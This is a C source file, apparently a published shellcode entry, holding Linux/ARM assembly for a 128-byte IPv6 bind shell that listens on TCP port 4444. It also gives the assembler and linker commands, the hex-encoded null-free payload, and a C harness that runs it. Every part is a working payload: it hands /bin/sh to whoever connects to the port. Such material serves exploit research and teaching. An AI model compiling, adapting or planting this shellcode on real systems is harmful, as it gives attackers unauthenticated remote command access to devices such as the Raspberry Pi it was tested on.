137 lines
No EOL
3.6 KiB
C
137 lines
No EOL
3.6 KiB
C
/*
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Title: Linux/ARM - IPv6 4444/TCP Bind Shellcode (128 Bytes)
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Date: 2018-07-25
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Tested: armv7l (Raspberry Pi 3 Model B+)
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Author: Ken Kitahara
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pi@raspberrypi:~ $ uname -a
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Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
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pi@raspberrypi:~ $ lsb_release -a
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No LSB modules are available.
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Distributor ID: Raspbian
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Description: Raspbian GNU/Linux 9.4 (stretch)
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Release: 9.4
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Codename: stretch
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pi@raspberrypi:~ $ cat bindshell-ipv6.s
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.section .text
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.global _start
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_start:
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.ARM
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add r3, pc, #1
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bx r3
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.THUMB
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// socket(AF_INET6, SOCK_STREAM, IPPROTO_IP)
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mov r0, #10
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mov r1, #1
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eor r2, r2, r2
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mov r7, #100
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add r7, r7, #181
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svc #1
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// save fd
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mov r4, r0
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// bind(fd, &sockaddr, 28)
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adr r1, struct_addr
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// replace 0xff with NULL and set sin6_family to 0x0a (AF_INET6)
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strb r2, [r1, #1]
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// replace 1 with NULL and set sin6_flowinfo to NULL
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str r2, [r1, #4]
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// replace 1 with NULL and set sin6_addr to ::
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str r2, [r1, #8]
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str r2, [r1, #12]
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str r2, [r1, #16]
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str r2, [r1, #20]
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// replace 1 with NULL and set sin6_scope_id to NULL
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str r2, [r1, #24]
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mov r2, #28
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add r7, r7, #1
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svc #1
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// listen(host_sockid, 2)
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mov r0, r4
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mov r1, #2
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add r7, r7, #2
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svc #1
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// accept(host_sockid, 0, 0)
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mov r0, r4
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eor r1, r1, r1
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eor r2, r2, r2
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add r7, r7, #1
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svc #1
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// save fd
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mov r4, r0
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// dup2(client_sockid, 0)
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mov r7, #63
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svc #1
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// dup2(client_sockid, 1)
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mov r0, r4
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add r1, r1, #1
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svc #1
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// dup2(client_sockid, 2)
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mov r0, r4
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add r1, r1, #1
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svc #1
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// execve("/bin/sh", 0, 0)
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eor r1, r1, r1
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eor r2, r2, r2
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adr r0, spawn
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strb r2, [r0, #7]
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mov r7, #11
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svc #1
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spawn:
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.ascii "/bin/shA"
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struct_addr:
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.ascii "\x0a\xff" // sin6_family -> AF_INET6
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.ascii "\x11\x5c" // sin6_port -> 4444
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.byte 1,1,1,1 // sin6_flowinfo -> NULL
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.byte 1,1,1,1 // sin6_addr -> ::
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.byte 1,1,1,1
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.byte 1,1,1,1
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.byte 1,1,1,1
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.byte 1,1,1,1 // sin6_scope_id -> NULL
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pi@raspberrypi:~ $ as -o bindshell-ipv6.o bindshell-ipv6.s && ld -N -o bindshell-ipv6 bindshell-ipv6.o
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pi@raspberrypi:~ $ objcopy -O binary bindshell-ipv6 bindshell-ipv6.bin
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pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' bindshell-ipv6.bin
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\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x0a\x20\x01\x21\x52\x40\x64\x27\xb5\x37\x01\xdf\x04\x1c\x13\xa1\x4a\x70\x4a\x60\x8a\x60\xca\x60\x0a\x61\x4a\x61\x8a\x61\x1c\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x49\x40\x52\x40\x01\xa0\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41\x0a\xff\x11\x5c\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char sc[] = \
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"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
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"\x0a\x20\x01\x21\x52\x40\x64\x27"
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"\xb5\x37\x01\xdf\x04\x1c\x13\xa1"
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"\x4a\x70\x4a\x60\x8a\x60\xca\x60"
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"\x0a\x61\x4a\x61\x8a\x61\x1c\x22"
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"\x01\x37\x01\xdf\x20\x1c\x02\x21"
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"\x02\x37\x01\xdf\x20\x1c\x49\x40"
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"\x52\x40\x01\x37\x01\xdf\x04\x1c"
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"\x3f\x27\x01\xdf\x20\x1c\x01\x31"
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"\x01\xdf\x20\x1c\x01\x31\x01\xdf"
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"\x49\x40\x52\x40\x01\xa0\xc2\x71"
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"\x0b\x27\x01\xdf\x2f\x62\x69\x6e"
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"\x2f\x73\x68\x41\x0a\xff\x11\x5c"
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"\x01\x01\x01\x01\x01\x01\x01\x01"
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"\x01\x01\x01\x01\x01\x01\x01\x01"
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"\x01\x01\x01\x01\x01\x01\x01\x01";
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void main()
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{
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printf("Shellcode Length: %d\n", strlen(sc));
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int (*ret)() = (int(*)())sc;
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ret();
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} |